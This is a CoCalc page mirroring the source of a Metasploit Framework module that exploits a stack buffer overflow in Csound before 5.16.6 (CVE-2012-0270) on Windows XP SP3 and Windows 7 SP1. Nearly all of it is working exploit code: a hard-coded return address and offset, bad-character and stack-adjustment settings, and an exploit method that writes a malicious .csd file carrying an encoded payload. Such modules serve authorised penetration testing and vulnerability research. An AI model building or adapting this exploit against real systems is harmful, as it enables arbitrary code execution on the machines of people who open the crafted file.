CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/fileformat/csound_getnum_bof.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::FILEFORMAT
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Csound hetro File Handling Stack Buffer Overflow',
14
'Description' => %q{
15
This module exploits a buffer overflow in Csound before 5.16.6.
16
The overflow occurs when trying to import a malicious hetro file
17
from tabular format.
18
In order to achieve exploitation the user should import the malicious
19
file through csound with a command like "csound -U het_import msf.csd file.het".
20
This exploit doesn't work if the "het_import" command is used directly
21
to convert the file.
22
},
23
'License' => MSF_LICENSE,
24
'Author' =>
25
[
26
'Secunia', # Vulnerability discovery
27
'juan vazquez' # Metasploit module
28
],
29
'References' =>
30
[
31
[ 'CVE', '2012-0270' ],
32
[ 'OSVDB', '79491' ],
33
[ 'BID', '52144' ],
34
[ 'URL', 'http://web.archive.org/web/20120514124556/http://secunia.com/secunia_research/2012-3/' ],
35
[ 'URL', 'http://csound.git.sourceforge.net/git/gitweb.cgi?p=csound/csound5.git;a=commit;h=7d617a9551fb6c552ba16874b71266fcd90f3a6f']
36
],
37
'Payload' =>
38
{
39
'Space' => 650,
40
'BadChars' => "\x00\x0a\x1a\x2c\xff",
41
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500
42
'DisableNops' => 'True'
43
},
44
'Platform' => 'win',
45
'Targets' =>
46
[
47
[ 'Csound 5.15 / Windows XP SP3 / Windows 7 SP1',
48
{
49
'Offset' => 132,
50
'Ret' => 0x6e955446 # push esp # ret / libgcc_s_dw2-1.dll
51
}
52
],
53
],
54
'Privileged' => false,
55
'DefaultTarget' => 0,
56
'DisclosureDate' => '2012-02-23'))
57
58
register_options(
59
[
60
OptString.new('FILENAME', [ false, 'The file name.', 'msf.csd']),
61
])
62
end
63
64
def exploit
65
sploit = rand_text(target['Offset'])
66
sploit << [target.ret].pack("V")
67
sploit << payload.encoded
68
print_status("Creating '#{datastore['FILENAME']}' file ...")
69
file_create(sploit)
70
end
71
end
72
73